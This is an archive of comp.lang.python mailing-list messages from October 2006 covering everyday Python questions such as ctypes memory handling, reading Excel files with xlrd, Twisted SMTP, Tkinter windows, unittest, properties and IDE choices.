Message-ID: <YvoVg.137129$_J1.900911@twister2.libero.it>

Martin v. L?wis wrote:

> That, in principle, could happen to any other free software as well.
> What is critical here is that SF *hosted* the installation. If we
> would use a tracker that is free software, yet hosted it elsewhere,
> the same thing could happen: the hoster could make modifications to
> it which
> are non-free. Not even the GPL could protect from this case: the
> hoster would be required to publish source only if he publishes
> binaries, but he wouldn't publish any binaries, so he wouldn't need
> to release the source changes, either.
>
> Also, even if it the software is open source and unmodified, there
> still wouldn't be a guarantee that you can get the data out of it
> if you want to. You *only* get the advantages of free software if
> you also run it yourself. Unfortunately, there is a significant
> cost associated with running the software yourself.

You have many good points here, Martin. Let me notice, though, that people
providing hosting not necessarily want to maintain the software by themselves
alone: some python developers could still have admin access to the boxes so to
double check if weird things are being done behind the curtain. I think the
point of uncertainty araises only if you totally trust someone else to do the
job for you.
-- 
Giovanni Bajo




From mail at microcorp.co.za  Thu Oct 26 01:47:34 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 26 Oct 2006 07:47:34 +0200
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu><j5O%g.150$1n3.4013@news.tufts.edu><7xwt6o44um.fsf@ruckus.brouhaha.com><%dO%g.151$1n3.4135@news.tufts.edu><7x8xj4i5gq.fsf@ruckus.brouhaha.com><qHO%g.153$1n3.4133@news.tufts.edu><7xzmbkgq5h.fsf@ruckus.brouhaha.com><UOO%g.155$1n3.3672@news.tufts.edu><ocP%g.7775$5i7.6064@newsreading01.news.tds.net>
	<1oP%g.160$1n3.4136@news.tufts.edu>
Message-ID: <028601c6f8c9$58a410e0$03000080@hendrik>

 "John Salerno" <johnjsal at NOSPAMgmail.com> wrote:
8<-----------------------------------------------------
> 
> LOL. Guess I'm doing things right, then? ;)
> 

you can NEVER be sure....

- Hendrik



From flyingisfun1217 at gmail.com  Sun Oct  1 17:08:24 2006
From: flyingisfun1217 at gmail.com (flyingisfun1217 at gmail.com)
Date: 1 Oct 2006 14:08:24 -0700
Subject: changing numbers to spellings
In-Reply-To: <7xwt7k5ypf.fsf@ruckus.brouhaha.com>
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<1159679133.367507.286320@i42g2000cwa.googlegroups.com>
	<7xwt7k5ypf.fsf@ruckus.brouhaha.com>
Message-ID: <1159736904.178046.280700@b28g2000cwb.googlegroups.com>

I guess I'm just looking for a small code sample hooked up to the code
I gave, that would collect the input, compare it to code such as:

if x==5
     print "Five"
elif x==6
     print "Six"
elif x==7
     print "Seven"

Something along those lines. That was actually like the code I used for
something else a while ago.

My only problem is, I want it to be printed to a textvariable for use
in the label.

Thanks again for all your help!

Tanner



From hanumizzle at gmail.com  Sat Oct 21 05:10:56 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sat, 21 Oct 2006 05:10:56 -0400
Subject: FOR statement
In-Reply-To: <4pu5nkFkjqvpU1@uni-berlin.de>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<453911b6$0$19616$88260bb3@free.teranews.com>
	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
	<mailman.885.1161418309.11739.python-list@python.org>
	<4pu5nkFkjqvpU1@uni-berlin.de>
Message-ID: <463ff4860610210210n6dc18b90l2ff4f325f44e0da@mail.gmail.com>

On 10/21/06, Diez B. Roggisch <deets at nospam.web.de> wrote:
> Theerasak Photha schrieb:
> > On 21 Oct 2006 00:50:34 -0700, Ant <antroy at gmail.com> wrote:
> >
> >> But there's a good reason not to. Try:
> >>
> >> printreverse(range(1000))
> >>
> >> Recursion has a maximum depth (of 1000 by default) in Python.
> >
> > I guess Python isn't tail-recursive then?
>
> To complement my other post: while it isn't tail recursive and can't be
> so automatically, there do exist recipes to make certain functions tail
> recursive by hand:
>
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/474088

Wow. That's 1337.

-- Theerasak


From exarkun at divmod.com  Sun Oct 22 15:20:00 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 22 Oct 2006 15:20:00 -0400
Subject: Socket module bug on OpenVMS
In-Reply-To: <453bb156$0$324$e4fe514c@news.xs4all.nl>
Message-ID: <20061022192000.26151.2103325715.divmod.quotient.10211@ohm>

On Sun, 22 Oct 2006 19:58:44 +0200, Irmen de Jong <irmen.nospam at xs4all.nl> wrote:
>Jean-Paul Calderone wrote:
>> I think everyone can agree that Python shouldn't crash.
>
>Well, it doesn't really crash in a bad way, in my example:
>it doesn't work because it simply raises a socket exception all the time.

Okay.  I assumed you meant the interpreter died with a SIGSEGV or something
similar.  If the call simply raises an exception, then I'm not sure I see
a real problem here.

>
>> Whether Python should propagate other kinds of errors from the underlying
>> platform is a harder question though.  At the lowest level interface, it
>> seems to me that it _should_ propagate them.  If there is a general way to
>> handle them, then a higher layer can be built on top of that lowest level
>> which does so.
>
>We already have a low-level "_socket" module (builtin) and a higher level
>"socket" module (implemented in python in the std lib)...
>I could imagine that the "socket" module would offer methods that can deal
>with platform bugs such as the two I mentioned in my original posting.
>
>I have never used _socket directly by the way (and don't think anyone
>else ever did?)

The _ prefix indicates the module is private: you aren't *supposed* to use
_socket.  This may help internal factoring, but it's not useful for anyone
writing code that's not part of the standard library.  For the separation
I'm talking about to be useful, all layers need to be made available to
developers of third-party libraries.

What'd be really nice is a direct wrapper around recv(2), send(2), etc,
with a simple socket-object layer on top of that, with timeouts or error
handling layered on top of that.

Jean-Paul


From fulvio at tm.net.my  Sat Oct 21 10:25:09 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 22:25:09 +0800
Subject: Debugging
In-Reply-To: <ehd0un$14p$1@newsreader2.utanet.at>
References: <mailman.895.1161423841.11739.python-list@python.org>
	<ehd0un$14p$1@newsreader2.utanet.at>
Message-ID: <200610212225.09746.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Saturday 21 October 2006 19:40, Gregor Horvath wrote:

> Small snippets of code are developed in the interpreter and when they
> are working assembled in the editor. If something goes wrong a print on
> the suspect place or the traceback is all I need. (of course this is
> matter of taste)

I also using this techinque, but I found myself to do a lot of rewriting on 
the code, as long as probing several points on the program.
The pdb.py is much of what I need. Running the program can stop in critical 
points and see if all comes as expected. It won't need to remove 
several "print" from the code.
Obvious, it's referred for programs which aren't time critical.

F



From exarkun at divmod.com  Wed Oct 11 11:25:36 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Wed, 11 Oct 2006 11:25:36 -0400
Subject: Newbie: trying to twist my head around twisted (and python)
In-Reply-To: <12iq2jtbkhna8cf@corp.supernews.com>
Message-ID: <20061011152536.1717.1594955993.divmod.quotient.73731@ohm>

On Wed, 11 Oct 2006 17:15:09 +0200, Jan Bakuwel <jan.bakuwel at int.greenpeace.org> wrote:
>Hoi all,
>
>Please see below a small piece of python code that resembles a
>smtpserver using the twisted framework. The code is based on the example
>smtp server discussed in Twisted Network Programming Essentials.
>The unmodified example code can be found on the O'Reilly website:
>(http://examples.oreilly.com/twistedadn/, in ch08 subdir).
>
>I've removed all the code I don't (the original example write an email
>received with SMTP to a Maildir; I'll do something else with it). For
>the sake of the example, the only thing I'll do in eomReceived is print
>whether the message had any attachments or not, then return a "failed"
>if a message had any attachments and a "success" if not.
>
>According to the book, I need to return a "Deferred result" from the
>function eomReceived (see ???????? below).
>
>In eomReceived, I intend to process the email then either return success
> or failure. I've been looking at the twisted way of using twisted :-).
>According to the book "its a little confusing for a start" and I have to
>agree :-)


The return value of eomReceived is used to determine whether to signal to
the SMTP client whether the message has been accepted.  Regardless of your
application logic, if you are taking responsibility for the message, you
should return a successful result.  If all of your processing is synchronous,
then you simply need to return twisted.internet.defer.succeed(None) at the
end of the function.  If you have asynchronous processing to do (it does not
appear as though you do), you will need to return a Deferred which only fires
once that processing has been completed.

Jean-Paul


From oliver.andrich at gmail.com  Tue Oct  3 05:19:14 2006
From: oliver.andrich at gmail.com (Oliver Andrich)
Date: Tue, 3 Oct 2006 11:19:14 +0200
Subject: Ctypes and freeing memory
Message-ID: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>

Hi everybody,

I am currently playing around with ctypes and a C library (libWand
from ImageMagick), and as I want to easily deploy it on Mac, Linux and
Windows, I prefer a ctypes solution over a C module. At least on
windows, I would have resource problems to compile the C module. So,
ctypes is the perfect choice for me.

But I am currently encountering a pattern inside the C library, that
has to be used to free memory. Coding in C I have to do the following

    char *description;
    long  severity;

    description = MagickGetException(wand, &severity);
    /*
        do something with the description: print it, log it, ...
    */
    description = (char *) MagickRelinquishMemory(description);
    exit(-1); /* or something else what I want to after an exception occured */

So, this looks easy and is sensible from C's point of view. Now I try
to translate this to Python and ctypes.

    dll.MagickGetException.argtypes = [c_long, POINTER(c_long)]
    dll.MagickGetException.restype  = c_char_p

    severity = c_long()
    description = dll.MagickGetException(byref(severity))

    # So far so good. The above works like a charm, but the problem follows now
    # ctypes already converted the char * for description to a String object.
    # That means description has arrived in an area under Python's control.

    # these definitions are the easy part
    dll.MagickRelinquishMemory.argtypes = [c_void_p]
    dll.MagickRelinquishMemory.restype  = c_char_p

    # but this obviously must cause problems and causes problems
    dll.MagickRelinquishMemory(description)

So, my question is, how do I deal with this situation? Can I ignore
the call to MagickRelinquishMemory, cause Python takes care of the
resources already? Or is it impossible to use it at all, and I have to
think about a different solution?

Best regards,
Oliver

-- 
Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/


From jstroud at mbi.ucla.edu  Tue Oct 24 23:28:29 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 25 Oct 2006 03:28:29 GMT
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <xRA%g.15864$GR.13005@newssvr29.news.prodigy.net>

pretoriano_2001 at hotmail.com wrote:
> Hello:
> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values. The result I want is:
> c={'a':0, 'c':1, 'd':2}
> How can I do this with one line of instruction?
> 
> I attempted the next but the output is not the expected:
> c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> erroneously (for me) gets:
> {'a': 0, 'c': 2, 'd': 3}
> 
> Thanks for your help.
> 
I think you have the right idea if I understand what you want:

c = dict(((k,v) for (v,k) in enumerate(x for x in a if b.has_key(x))))

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From jstroud at mbi.ucla.edu  Fri Oct 13 04:06:38 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 13 Oct 2006 08:06:38 GMT
Subject: Using SVN with Python and .pyc files
Message-ID: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>

Hello All,

I have been moving to managing a lot of my code with SVN and I have 
found it to work extremely well. However, I'm not exactly sure how to 
deal with all of the .pyc files that get created every time I test a 
project or package. How do people manage this? Do you run a script to 
find files with the .pyc extension and delete those before every commit, 
or is there a more elegant way? It seems like a lot of wasted bandwidth 
an memory on the server side to constantly be dealing with these files 
that contain no real information.

James


From steven.bethard at gmail.com  Sat Oct 14 20:38:30 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 14 Oct 2006 18:38:30 -0600
Subject: optparse: add trailing text in help message?
In-Reply-To: <Xns985CB8CA2F9D3duncanbooth@127.0.0.1>
References: <mailman.465.1160759456.11739.python-list@python.org>
	<Xns985CB8CA2F9D3duncanbooth@127.0.0.1>
Message-ID: <-qydnZ1mUPyVHqzYnZ2dnUVZ_tednZ2d@comcast.com>

Duncan Booth wrote:
>>>> from optparse import OptionParser
>>>> usage = "usage: %prog [options] arg1 arg2"
>>>> epilog = "that's all folks!"
>>>> parser = OptionParser(usage=usage, epilog=epilog)
>>>> parser.parse_args(['', '--help'])
> Usage:  [options] arg1 arg2
> 
> Options:
>   -h, --help  show this help message and exit
> 
> that's all folks!

Very cool.  Thanks!  I'll update argparse to share this API.

STeVe


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 08:59:03 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 22:59:03 +1000
Subject: Debugging
References: <mailman.894.1161423816.11739.python-list@python.org>
	<mailman.1092.1161707783.11739.python-list@python.org>
	<453e8b95$0$23778$426a34cc@news.free.fr>
	<200610261835.16494.fulvio@tm.net.my>
Message-ID: <87slhbgrmw.fsf@benfinney.id.au>

Fulvio <fulvio at tm.net.my> writes:

> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************

Please stop sending messages with obnoxious headers like this.



From nitte.sudhir at gmail.com  Thu Oct  5 13:00:50 2006
From: nitte.sudhir at gmail.com (kath)
Date: 5 Oct 2006 10:00:50 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160061718.605057.243590@h48g2000cwc.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
Message-ID: <1160067650.709670.71460@e3g2000cwe.googlegroups.com>


John Machin wrote:
> kath wrote:
> > How do I read an Excel file in Python?
> >
> > I have found a package to read excel file, which can be used on any
> > platform.
>
> Hi Sudhir,
> So far, so good :-)
>
> >
> > http://www.lexicon.net/sjmachin/xlrd.htm
> > I installed and working on the examples, I found its printing of cell's
> > contents in a different manner.
> >
> > >>> import xlrd
> > >>> book=xlrd.open_workbook("Calculation_file.xls")
> > >>> book=xlrd.open_workbook("testbook.xls")
> > >>> sh=book.sheet_by_index(0)
> > >>> for row in range(sh.nrows):
> > 	print sh.row(rx)
> > [text:u'name', text:u'address', text:u'ph']
> > [text:u'sudhir', text:u'bangalore', number:1234.0]
> > [text:u'vinay', text:u'bangalore', number:3264.0]
>
> It helps when asking questions if you copy/paste exactly what is on
> your screen;
> in this case
>     print sh.row(rx)
> would have given an error; you must have typed
>     for rx in range.....
>
> A row is returned as a sequence of Cell objects. What you are seeing is
> Python automatically doing repr(cell) on each cell in the row. The
> Cell.__repr__ method formats it that way for debugging. Here are some
> examples from a little test file of mine:
>
> >>> import xlrd
> >>> bk = xlrd.open_workbook('sjm1.xls')
> >>> sh = bk.sheet_by_index(0)
> >>> row0 = sh.row(0)
> >>> row0
> [text:u'fubar', number:1.0, number:2.0]
> >>> firstcell = row0[0]
> >>> type(firstcell)
> <class 'xlrd.sheet.Cell'>
> >>> firstcell.ctype
> 1
> >>> # cell type 1 is text
> >>> firstcell.value
> u'fubar'
> >>> repr(firstcell)
> "text:u'fubar'"
>
> >
> > I am bit confused with slicing. help me....
> >
> None of the above is anything to do with slicing; is this a 2nd
> problem?
>
> Perhaps you are having trouble with this:
> >>> help(sh.row_slice)
> Help on method row_slice in module xlrd.sheet:
>
> row_slice(self, rowx, start_colx=0, end_colx=None) method of
> xlrd.sheet.Sheet instance
>     ##
>     # Returns a slice of the Cell objects in the given row.
> >>>
>
> sh.row_slice(rowx, lo, hi) gives the same result as sh.row(rowx)[lo:hi]
> -- it is provided because the latter would be inefficient for getting a
> small slice from a long row.
>
> If you are having trouble with the general concept of slicing, perhaps
> you might like to try the Python tutorial. Otherwise, please try to be
> a bit more specific about what the confusion is.
>
> HTH, and e-mail me if you prefer ...
>
> Cheers,
> John


Hi, thanks for the reply. I just took some time reading help file and
came to know to there is nothing do with slicing. But I do have a
problem with date field in the excel file.

the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0,
which I get when I convert date values to general format in Excel. I
want the actual date value. How do get that?


Thank you.
regards,
Sudhir.



From joncle at googlemail.com  Tue Oct 17 12:36:40 2006
From: joncle at googlemail.com (Jon Clements)
Date: 17 Oct 2006 09:36:40 -0700
Subject: making a valid file name...
In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
Message-ID: <1161103000.183907.58030@f16g2000cwb.googlegroups.com>


SpreadTooThin wrote:

> Hi I'm writing a python script that creates directories from user
> input.
> Sometimes the user inputs characters that aren't valid characters for a
> file or directory name.
> Here are the characters that I consider to be valid characters...
>
> valid =
> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>
> if I have a string called fname I want to go through each character in
> the filename and if it is not a valid character, then I want to replace
> it with a space.
>
> This is what I have:
>
> def fixfilename(fname):
> 	valid =
> ':.\,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
> 	for i in range(len(fname)):
> 		if valid.find(fname[i]) < 0:
> 			fname[i] = ' '
>        return fname
>
> Anyone think of a simpler solution?

If you want to strip 'em:

>>> valid=':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>>> filename = '!"?!?$"$??$%$?%$?lasfjalsfjdlasfjasfd()()()somethingelse.dat'
>>> stripped = ''.join(c for c in filename if c in valid)
>>> stripped
'lasfjalsfjdlasfjasfdsomethingelse.dat'

If you want to replace them with something, be careful of the regex
string  being built (ie a space character).
import re
>>> re.sub(r'[^%s]' % valid,' ',filename)
'                 lasfjalsfjdlasfjasfd      somethingelse.dat'


Jon.



From http  Thu Oct 19 16:52:34 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 13:52:34 -0700
Subject: advice for web-based image annotation
References: <mailman.763.1161275722.11739.python-list@python.org>
Message-ID: <7xu020gh9p.fsf@ruckus.brouhaha.com>

Brian Blais <bblais at bryant.edu> writes:
> I want to set up a system where I can have my family members write
> comments about a number of pictures, as part of a family tree project.
> ...Any suggestions would be greatly appreciated!

How about a wiki?


From http  Tue Oct 10 08:24:16 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 05:24:16 -0700
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
	<7xlknoh1kn.fsf@ruckus.brouhaha.com>
	<slrnein12j.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7xlknoe4un.fsf@ruckus.brouhaha.com>

Antoon Pardon <apardon at forel.vub.ac.be> writes:
> Suppose one has the following intention in mind:
> 
>   while x = setup():
>     if y = pre_process() in ErrorCondition:
>       break
>     post_process(y)
>   else:
>     NormalTermination()

Maybe we need a new itertools function:

   def forever(func, *args, **kw):
      while True:
         yield func(*args, **kw)

then you'd write:

   for x in takewhile(bool, forever(setup)):
      if y = pre_process() in ErrorCondition:
         break
      post_process(y)
   else:
      NormalTermination()

It might be preferable to write pre_process to raise an exception if
there's an error condition.  Then the whole thing becomes:

   try:
      for x in takewhile(bool, forever(setup)):
         post_process(pre_process())
      NormalTermination()
   except PreprocessError:
      pass


From greg.kujawa at gmail.com  Fri Oct 13 22:03:25 2006
From: greg.kujawa at gmail.com (gregarican)
Date: 13 Oct 2006 19:03:25 -0700
Subject: IDE
In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
Message-ID: <1160791405.858694.215640@i3g2000cwc.googlegroups.com>

For my tastes I like ActiveState's Komodo for a Python IDE. Eclipse is
too bloated, slow, and is like a Tower of Babel. From what I've seen of
SPE it seems good, although the download website seems to throw a lot
of pop-up adware/spyware installs at you...

giuseppe wrote:
> What is the better IDE software for python programming?
> 
> many thanks
> 
> joe



From fredrik at pythonware.com  Wed Oct  4 09:51:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 15:51:52 +0200
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
Message-ID: <eg0e9o$fv$1@sea.gmane.org>

Edward K. Ream wrote:

> Can anyone tell me how the content handler can determine the encoding of the file?  Can sax 
> provide this info?

there is no encoding on the "inside" of an XML document; it's all Unicode.

</F> 





From __peter__ at web.de  Thu Oct 12 14:58:33 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Oct 2006 20:58:33 +0200
Subject: problem including tests in unittest
References: <mailman.389.1160673879.11739.python-list@python.org>
Message-ID: <egm34t$mbf$02$1@news.t-online.com>

Chris Fonnesbeck wrote:

> I have a module for which I am trying to code a unit test. However,
> when I run unittest.main(), I get:
> 
> In [1]: import PyMC
> 
> In [2]: PyMC.unittest.main()
> 
> ----------------------------------------------------------------------
> Ran 0 tests in 0.000s
> 
> OK
> 
> 
> This is confusing, because I have set up a class called MCMCTest that
> is a sublcass of unttest.TestCase, which in turn contains a test
> method. Yet, unittest seems not to be aware of it. Is there anything I
> am forgetting?

By default unittest.main() scans the __main__ module for TestCases.
Though you could use it from an interactive interpreter

>>> import unittest
>>> unittest.main("PyMC", argv=["yadda", "-v"])
test_alpha (PyMC.Test) ... ok
test_beta (PyMC.Test) ... ok

----------------------------------------------------------------------
Ran 2 tests in 0.000s

OK
$ # Oops

without countermeasures unittest.main() will exit that too after completion.
The normal usage (the only one I know) is to put it inside the test script:

# your testcases
if __name__ == "__main__":
   unittest.main()

and run that from the shell:

$ python PyMC.py -v
test_alpha (__main__.Test) ... ok
test_beta (__main__.Test) ... ok

----------------------------------------------------------------------
Ran 2 tests in 0.001s

OK

Peter


From mail at microcorp.co.za  Tue Oct 10 03:10:37 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 10 Oct 2006 09:10:37 +0200
Subject: Everything is a distributed object
References: <a7lqv3-tdd.ln1@C20.host>
Message-ID: <02ad01c6ec3b$5e25d0c0$03000080@hendrik>

"Martin Drautzburg" <Martin.Drautzburg at web.de> wrote:

> Hello all,
> 
> I've seen various attempts to add distributed computing capabilities on top
> of an existing language. For a true distributed system I would expect it to
> be possible to instantiate objects of a remote class or to subclass a
> remote class and other stuff like this. My impression is that those things
> are difficult when built on top of an existing language.
> 
> Since the paradigm "everything is an object" pays so well, I thought it
> might be less painful to implement a distributed system from ground up,
> starting with the paradigm: "everything is a distributed object".
> 
> Do you know if such a thing has been attempted with python, i.e. by hacking
> the python core and add new capabilities to "object". Or do you think that
> this is really a silly idea ? 

Google for pyro  - Hendrik




From tejovathi.p at gmail.com  Thu Oct 26 05:00:46 2006
From: tejovathi.p at gmail.com (Teja)
Date: 26 Oct 2006 02:00:46 -0700
Subject: Get coordinates of a cell
Message-ID: <1161853246.226510.258340@m73g2000cwd.googlegroups.com>

I have a GUI application with a Frame and a grid in it. I want to popup
a menu after the user enters some text in a cell and hits ENTER key. I
was able to popup the menu. However the menu is not popping up exactly
at the position where I want it. It should be popped up immediately
after the cell in which the user has entered the text. To get the co
ordinates I am using the function event.GetPosition(). Here event is
wx.EVT_KEY_DOWN. Any pointers please?



From fredrik at pythonware.com  Wed Oct 11 09:33:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 15:33:10 +0200
Subject: How to write Smart Python programs?
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com><452cae13$0$24783$426a74cc@news.free.fr>
	<452cbe11$1@news.vo.lu><452cd561$0$19339$426a34cc@news.free.fr>
	<452ceef7@news.vo.lu>
Message-ID: <egirqm$j36$1@sea.gmane.org>

Antoine De Groote wrote:

> Don't forget to derive your class from object, otherwise properties
> won't work.

getters work, setters don't (because the old-style objects checks the instance
before it looks for hooks in the class):

>>> class Spam:
...     def getx(self):
...             return "x"
...     def setx(self, value):
...             print "set to", value
...     x = property(getx, setx)
...
>>> s = Spam()
>>> s.x
'x'
>>> s.x = "y"
>>> s.x
'y'

>> As a side node, the getters/setters of a property are often either
>> marked as implementation (the _leading_underscore convention) or deleted
>> from the class's dict once the property is created or 'masked' one way
>> or another so they don't pollute the class's namespace.
>
> You mean like manually removed from the dict?

explicitly deleted:

>>> class Spam(object):
...     def getx(self):
...             return "x"
...     def setx(self, value):
...             print "set to", value
...     x = property(getx, setx)
...     del getx, setx
...
>>> s = Spam()
>>> s.x
'x'
>>> s.x = "y"
set to y
>>> s.getx()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'Spam' object has no attribute 'getx'

(note that the class definition is executed in a class-specific namespace; whatever's
left in that namespace when you reach the end of the class statement is added to the
class).

</F> 





From claus.tondering at gmail.com  Mon Oct  9 05:02:33 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 9 Oct 2006 02:02:33 -0700
Subject: Tkinter: Making a window disappear
Message-ID: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>

I am trying to make a Tkinter main window appear and disappear, but I
have problems with that.

Here is a small code sample:

    class MyDialog(Frame):
        def __init__(self):
            Frame.__init__(self, None)
            Label(self, text="Hello").pack()
            Button(self, text="OK", command=self.ok).pack()
            self.grid()

        def ok(self):
            self.destroy()
            self.quit()

    MyDialog().mainloop()
    print "Now waiting 5 seconds"
    time.sleep(5)
    MyDialog().mainloop()

The first mainloop() shows the dialog nicely, and I press the "OK"
button. The system then sleeps for 5 seconds, and a new dialog is
displayed. This is all very nice.

But during the 5 seconds of sleeping, remnants of the old window are
still visible. It is not redrawn, but it just lies there as an ugly box
on the display. I thought that destroy()/quit() would completely remove
the window, but obviously I am wrong.

What should I do instead?

--
Claus Tondering



From Leo.Kislov at gmail.com  Fri Oct 20 05:42:16 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 20 Oct 2006 02:42:16 -0700
Subject: comparing Unicode and string
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
	<1161281095.174018.223790@f16g2000cwb.googlegroups.com>
Message-ID: <1161337336.560825.322340@i42g2000cwa.googlegroups.com>


luc.saffre at gmail.com wrote:
> Thanks, John and Neil, for your explanations.
>
> Still I find it rather difficult to explain to a Python beginner why
> this error occurs.
>
> Suggestion: shouldn't an error raise already when I try to assign s2? A
> normal string should never be allowed to contain characters that are
> not codable using the system encoding. This test could be made at
> compile time and would render Python more didadic.

This is impossible because of backward compatibility, your suggestion
will break a lot of existing programs. The change is planned to happen
in python 3.0 where it's ok to break backward compatibility if needed.

  -- Leo.



From durumdara at gmail.com  Fri Oct 13 06:52:31 2006
From: durumdara at gmail.com (durumdara)
Date: Fri, 13 Oct 2006 12:52:31 +0200
Subject: Freeware link/html checker (validator) for mod_python site
In-Reply-To: <egnj2m$72g$1@sea.gmane.org>
References: <452F4969.1040203@gmail.com> <egnj2m$72g$1@sea.gmane.org>
Message-ID: <452F6FEF.7020207@gmail.com>

Hi !

Very good !!! Thank you very much !
If I can "link it" with a w3c html checker, it will be very good...

Interesting that it is also say "bad link" to site 
http://www.druk-ker.hu/. The HTML link validator do it same.

dd

Fredrik Lundh ?rta:
> "durumdara" <durumdara at gmail.com> wrote:
>
>   
>> Sorry for non-pythonic subject, but if I not find good solution, I will
>> write a  routine for this in python... :-)))
>>     
>
> in your Python installation (or source) directory, do
>
>     $ cd Tools/webchecker
>
> and then write
>
>     $ python webchecker.py -x http://yoursite
>
> (use --help to get a man page)
>
> </F> 
>
>
>
>   

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From bignose+hates-spam at benfinney.id.au  Wed Oct 25 22:35:45 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 12:35:45 +1000
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
Message-ID: <87pscfkdmm.fsf@benfinney.id.au>

"Hakusa at gmail.com" <Hakusa at gmail.com> writes:

> this has revieled I no nothing about parsing or classes. Both are
> required to make an IDE I believe.

Are you trying to make an IDE, or choose an existing one?

-- 
 \      "This sentence contradicts itself -- no actually it doesn't."  |
  `\                                             -- Douglas Hofstadter |
_o__)                                                                  |
Ben Finney



From misterwang at gmail.com  Thu Oct 12 17:45:40 2006
From: misterwang at gmail.com (Peter  Wang)
Date: 12 Oct 2006 14:45:40 -0700
Subject: Enthought python - Traits
In-Reply-To: <1160680596.521987.110210@e3g2000cwe.googlegroups.com>
References: <1160680596.521987.110210@e3g2000cwe.googlegroups.com>
Message-ID: <1160689540.795369.67620@c28g2000cwb.googlegroups.com>

Ash wrote:
> Hello everyone !
>
> I am trying to find some sort of a cookbook or more examples for using
> Enthought Traits to build GUI's. I tried to follow the documentations
> present at the enthought site, but couldnt get too far - especially on
> how to handle a control event ?

The traits manual is in the lib/site-packages/enthought/traits/doc
directory, named Traits2_UM.doc/.pdf.  The traits UI manual/user guide
is also in there.  However, what is not so obvious is that there is
also an excellent, massive set of powerpoint slides (121 pages) that
Dave Morrill put together that talks about the architecture of Traits
UI, and how to build GUIs using it.  (Er, how to build them *well*,
i.e. adhering to the M-V-C pattern and maximizing code reuse.)  Those
slides are in traits_ui.ppt.

> say i have a list "control" that create using the following two lines:
>
> class Project(HasTraits):
> 	coordinate_system=Enum('Cartesian','Cylindrical')
>
> I added the following line to get the option selected by the user:
>
> def _coordinate_system_changed(self,old,new):
>             print 'System changed from %s to %s ' %(old,new)
>
> but it does not return what the user select. It should return either 0
> or 1 based on the two choices, but i can't seem to find a way to trap
> that.

The way that this works is that _coordinate_system_changed() gets
called with the old value and the new value of self.coordinate_system.
